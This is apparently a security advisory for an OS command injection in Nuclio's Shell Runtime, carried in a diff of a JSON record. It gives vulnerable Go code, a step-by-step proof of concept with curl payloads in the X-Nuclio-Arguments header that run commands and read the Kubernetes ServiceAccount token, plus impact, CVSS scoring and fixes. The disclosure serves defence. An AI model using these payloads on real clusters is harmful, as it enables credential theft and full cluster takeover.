+ "details": "## Summary\n\nThis vulnerability exists in Nuclio's Shell Runtime component, allowing attackers with function invocation permissions to inject malicious commands via HTTP request headers, execute arbitrary code with root privileges in function containers, steal ServiceAccount Tokens with cluster-admin level permissions, and ultimately achieve complete control over the entire Kubernetes cluster. Recommended CWE classification: CWE-78 (OS Command Injection).\n\nNuclio Shell Runtime processes the `X-Nuclio-Arguments` HTTP header without validation or escaping, directly concatenating user input into shell commands executed via `sh -c`. This allows arbitrary command injection, enabling attackers to read sensitive files (including ServiceAccount tokens) and access the Kubernetes API with cluster-level privileges.\n\n## Details\n\n### Vulnerability Description\n\nThe Nuclio Shell Runtime component contains a critical command injection vulnerability in how it processes user-supplied arguments. When a function is invoked via HTTP, the runtime reads the `X-Nuclio-Arguments` header and directly incorporates its value into shell commands without any validation or sanitization.\n\n### Root Cause Analysis\n\n**Vulnerable Code Location 1:** `pkg/processor/runtime/shell/runtime.go:289-297`\n\n```go\nfunc (s *shell) getCommandArguments(event nuclio.Event) []string {\n arguments := event.GetHeaderString(headers.Arguments)\n\n if arguments == \"\" {\n arguments = s.configuration.Arguments\n }\n\n return strings.Split(arguments, \" \") // No validation performed\n}\n```\n\nThe function retrieves the `X-Nuclio-Arguments` header value and splits it by spaces without any validation. Shell metacharacters like `;`, `|`, `&&`, backticks, and `$()` are not filtered or escaped.\n\n**Vulnerable Code Location 2:** `pkg/processor/runtime/shell/runtime.go:204-213`\n\n```go\nif s.commandInPath {\n // if the command is an executable, run it as a command with sh -c.\n cmd = exec.CommandContext(context, \"sh\", \"-c\", strings.Join(command, \" \"))\n} else {\n // if the command is a shell script run it with sh(without -c).\n cmd = exec.CommandContext(context, \"sh\", command...)\n}\n\ncmd.Stdin = strings.NewReader(string(event.GetBody()))\n```\n\nThe runtime joins the command array (which includes user-controlled arguments) into a single string and executes it using `sh -c`. This execution mode interprets shell metacharacters, enabling command injection.\n\n### Attack Flow\n\n1. Attacker sends HTTP request to Nuclio function with malicious `X-Nuclio-Arguments` header\n2. Runtime extracts header value without validation\n3. Malicious payload is concatenated into shell command\n4. Command is executed via `sh -c` with root privileges\n5. Attacker executes arbitrary commands (e.g., reading ServiceAccount token)\n6. Attacker uses stolen token to access Kubernetes API with cluster-admin privileges\n\n## PoC\n\n### Environment Setup\n\n**Prerequisites:**\n- Docker installed\n- kubectl installed\n- Helm 3.x installed\n- 8GB RAM minimum\n\n**Step 1: Create Kubernetes Cluster**\n\n```bash\n# Install Kind\ncurl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.20.0/kind-linux-amd64\nchmod +x ./kind\nsudo mv ./kind /usr/local/bin/kind\n\n# Create cluster with registry configuration\ncat > kind-config.yaml <<EOF\nkind: Cluster\napiVersion: kind.x-k8s.io/v1alpha4\nnodes:\n- role: control-plane\n- role: worker\nEOF\n\nkind create cluster --name nuclio-test --config kind-config.yaml\n```\n\n**Step 2: Setup Local Registry**\n\n```bash\n# Start registry container\ndocker run -d -p 5000:5000 --name registry --network kind registry:2\ndocker network connect kind registry\n\n# Configure containerd on worker node\ndocker exec nuclio-test-worker bash -c 'cat >> /etc/containerd/config.toml << EOF\n\n[plugins.\"io.containerd.grpc.v1.cri\".registry.mirrors.\"registry:5000\"]\n endpoint = [\"http://registry:5000\"]\n[plugins.\"io.containerd.grpc.v1.cri\".registry.configs.\"registry:5000\".tls]\n insecure_skip_verify = true\nEOF'\n\ndocker exec nuclio-test-worker systemctl restart containerd\n```\n\n**Step 3: Install Nuclio**\n\n```bash\n# Add Helm repository\nhelm repo add nuclio https://nuclio.github.io/nuclio/charts\nhelm repo update\n\n# Install Nuclio 1.15.17\nhelm install nuclio nuclio/nuclio \\\n --namespace nuclio \\\n --create-namespace \\\n --set registry.pushPullUrl=registry:5000\n\n# Wait for pods to be ready\nkubectl wait --for=condition=ready pod -l app.kubernetes.io/name=nuclio -n nuclio --timeout=300s\n```\n\n**Step 4: Deploy Vulnerable Function**\n\n```bash\n# Create shell script\ncat > echo.sh <<'EOF'\n#!/bin/sh\necho \"Response from shell function\"\nEOF\nchmod +x echo.sh\n\n# Create project\nkubectl apply -f - <<EOF\napiVersion: nuclio.io/v1beta1\nkind: NuclioProject\nmetadata:\n name: default\n namespace: nuclio\nspec:\n displayName: Default Project\nEOF\n\n# Deploy function\nnuctl deploy shell-func \\\n --path echo.sh \\\n --runtime shell \\\n --namespace nuclio \\\n --registry localhost:5000 \\\n --run-registry registry:5000 \\\n --project-name default\n\n# Verify deployment\nkubectl -n nuclio get pods -l nuclio.io/function-name=shell-func\n```\n\n### Exploitation\n\n**Test 1: Verify Command Injection**\n\n```bash\nkubectl run -n nuclio exploit-test \\\n --image=curlimages/curl:latest \\\n --rm -i --restart=Never -- \\\n curl -s -X POST \\\n -H \"Content-Type: text/plain\" \\\n -H \"x-nuclio-arguments: ; id ; whoami ;\" \\\n -d \"test\" \\\n http://nuclio-shell-func:8080\n```\n\n**Expected Output:**\n```\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\nroot\n```\n\n**Test 2: Extract ServiceAccount Token**\n\n```bash\nkubectl run -n nuclio token-extract \\\n --image=curlimages/curl:latest \\\n --rm -i --restart=Never -- \\\n curl -s -X POST \\\n -H \"Content-Type: text/plain\" \\\n -H \"x-nuclio-arguments: ; cat /var/run/secrets/kubernetes.io/serviceaccount/token ;\" \\\n -d \"test\" \\\n http://nuclio-shell-func:8080\n```\n\n**Expected Output:**\n```\neyJhbGciOiJSUzI1NiIsImtpZCI6IldUZFN0d3dod2hSNE8yLWtRZmc0Z0N0UWNtaDMxVDhEVlQyYWRnS3AzbEkifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAyMzk4Mzg3...\n```\n\n**Test 3: Validate Token Privileges**\n\n```bash\n# Extract token from previous output and test permissions\nTOKEN=\"<extracted-token>\"\n\nkubectl auth can-i --list --token=\"$TOKEN\"\n```\n\n**Expected Output:**\n```\nResources Non-Resource URLs Resource Names Verbs\n*.* [] [] [*]\n [*] [] [*]\n```\n\nThis confirms the token has cluster-admin level permissions.\n\n**Test 4: Verify Cluster Access**\n\n```bash\n# Test reading secrets\nkubectl auth can-i get secrets --all-namespaces --token=\"$TOKEN\"\n# Output: yes\n\n# Test creating pods\nkubectl auth can-i create pods --all-namespaces --token=\"$TOKEN\"\n# Output: yes\n```\n\n### Alternative Injection Methods\n\n**Backtick Injection:**\n```bash\ncurl -s -X POST \\\n -H \"Content-Type: text/plain\" \\\n -H 'x-nuclio-arguments: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`' \\\n -d \"test\" \\\n http://nuclio-shell-func:8080\n```\n\n**$() Syntax Injection:**\n```bash\ncurl -s -X POST \\\n -H \"Content-Type: text/plain\" \\\n -H 'x-nuclio-arguments: $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)' \\\n -d \"test\" \\\n http://nuclio-shell-func:8080\n```\n\nBoth methods successfully extract the token.\n\n## Impact\n\n### Severity Assessment\n\nThis vulnerability enables complete cluster compromise through a multi-stage attack:\n\n**Stage 1: Command Injection**\n- Attacker injects malicious commands via HTTP header\n- Commands execute with root privileges in function container\n- No authentication or authorization checks on command content\n\n**Stage 2: Credential Theft**\n- Attacker reads ServiceAccount token from mounted secret\n- Token belongs to `system:serviceaccount:nuclio:default`\n- Token has cluster-admin level permissions\n\n**Stage 3: Privilege Escalation**\n- Attacker uses stolen token to authenticate to Kubernetes API\n- Gains full control over all cluster resources\n- Can read all secrets, create/modify/delete any resource\n\n### Affected Resources\n\n**Confidentiality Impact:** High\n- All secrets across all namespaces can be read\n- Database credentials, API keys, certificates exposed\n- Application data and configuration accessible\n\n**Integrity Impact:** High\n- Attacker can modify any cluster resource\n- Can deploy malicious workloads\n- Can alter RBAC policies and security controls\n- Can inject backdoors for persistent access\n\n**Availability Impact:** Medium\n- Attacker can delete critical resources\n- Can deploy resource-intensive workloads causing DoS\n- Can disrupt cluster operations\n\n### Real-World Attack Scenarios\n\n**Scenario 1: Data Breach**\n1. Attacker gains function invocation access (low privilege)\n2. Injects command to extract ServiceAccount token\n3. Uses token to read all secrets in production namespace\n4. Exfiltrates database credentials and API keys\n5. Accesses production databases and external services\n\n**Scenario 2: Supply Chain Compromise**\n1. Attacker compromises CI/CD pipeline\n2. Deploys malicious Nuclio function\n3. Function automatically executes on deployment\n4. Establishes persistent backdoor in cluster\n5. Pivots to compromise other applications\n\n**Scenario 3: Ransomware Attack**\n1. Attacker exploits vulnerability to gain cluster access\n2. Deploys crypto-mining or ransomware pods\n3. Encrypts persistent volumes\n4. Demands ransom for decryption keys\n\n## Severity\n\n**CVSS v3.1 Vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L\n\n**CVSS Score:** 9.1 (Critical)\n\n**Justification:**\n- **Attack Vector (Network):** Exploitable remotely via HTTP\n- **Attack Complexity (Low):** No special conditions required\n- **Privileges Required (Low):** Only function invocation permission needed\n- **User Interaction (None):** Fully automated exploitation\n- **Scope (Changed):** Breaks out of function container to cluster level\n- **Confidentiality (High):** Complete access to all secrets\n- **Integrity (High):** Full control over cluster resources\n- **Availability (Low):** Limited direct availability impact\n\n## Affected Versions\n\n- Nuclio: All versions up to and including 1.15.19\n- Component: Shell Runtime (`pkg/processor/runtime/shell`)\n\nThe vulnerability exists in all versions that include the Shell Runtime component, as the vulnerable code pattern has been present since the feature's introduction.\n\n## Patched Versions\n\nNo patch is currently available. Users should implement workarounds until an official fix is released.\n\n## Workarounds\n\n### Immediate Mitigation (Choose One)\n\n**Option 1: Disable Shell Runtime**\n\nAdd to Nuclio platform configuration:\n\n```yaml\nplatformConfig:\n runtimes:\n shell:\n enabled: false\n```\n\nThis completely disables the vulnerable component but breaks existing Shell Runtime functions.\n\n**Option 2: Restrict Function Deployment**\n\nLimit who can deploy functions using RBAC:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n name: nuclio-function-deployer\n namespace: nuclio\nrules:\n- apiGroups: [\"nuclio.io\"]\n resources: [\"nucliofunctions\"]\n verbs: [\"create\", \"update\", \"patch\"]\n # Only grant to trusted users\n```\n\nRemove default function deployment permissions from untrusted users.\n\n**Option 3: Network Isolation**\n\nRestrict egress traffic from function pods:\n\n```yaml\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n name: nuclio-processor-egress\n namespace: nuclio\nspec:\n podSelector:\n matchLabels:\n nuclio.io/component: processor\n policyTypes:\n - Egress\n egress:\n - to:\n - podSelector: {}\n ports:\n - protocol: TCP\n port: 443 # Only allow HTTPS to cluster API\n```\n\nThis limits the attacker's ability to exfiltrate data but doesn't prevent the initial exploitation.\n\n### Long-Term Fixes\n\n**Fix 1: Input Validation**\n\nImplement strict validation in `getCommandArguments`:\n\n```go\nimport \"regexp\"\n\nvar argumentsRegex = regexp.MustCompile(`^[a-zA-Z0-9_\\-=., ]+$`)\n\nfunc (s *shell) getCommandArguments(event nuclio.Event) []string {\n arguments := event.GetHeaderString(headers.Arguments)\n\n if arguments == \"\" {\n arguments = s.configuration.Arguments\n }\n\n if !argumentsRegex.MatchString(arguments) {\n s.Logger.ErrorWith(\"Invalid arguments: contains unsafe characters\")\n return []string{}\n }\n\n return strings.Split(arguments, \" \")\n}\n```\n\n**Fix 2: Remove sh -c Execution**\n\nUse parameterized command execution:\n\n```go\nfunc (s *shell) processEvent(context context.Context,\n command []string,\n event nuclio.Event,\n responseChan chan nuclio.Response) {\n\n var cmd *exec.Cmd\n\n if len(command) > 0 {\n cmd = exec.CommandContext(context, command[0], command[1:]...)\n } else {\n // Handle error\n return\n }\n\n cmd.Stdin = strings.NewReader(string(event.GetBody()))\n // ... rest of code\n}\n```\n\n**Fix 3: Limit ServiceAccount Permissions**\n\nCreate restricted ServiceAccount for function pods:\n\n```yaml\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n name: nuclio-function-sa\n namespace: nuclio\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n name: nuclio-function-role\n namespace: nuclio\nrules:\n- apiGroups: [\"\"]\n resources: [\"configmaps\"]\n verbs: [\"get\", \"list\"]\n# Do not grant secrets or cross-namespace access\n```\n\n## Resources\n\n- Nuclio GitHub: https://github.com/nuclio/nuclio\n- CWE-78: OS Command Injection: https://cwe.mitre.org/data/definitions/78.html\n- OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection\n- Kubernetes Security Best Practices: https://kubernetes.io/docs/concepts/security/\n\n## Credits\ncredit for:\n@b0b0haha (603571786@qq.com)\n@j311yl0v3u (2439839508@qq.com)",
0 commit comments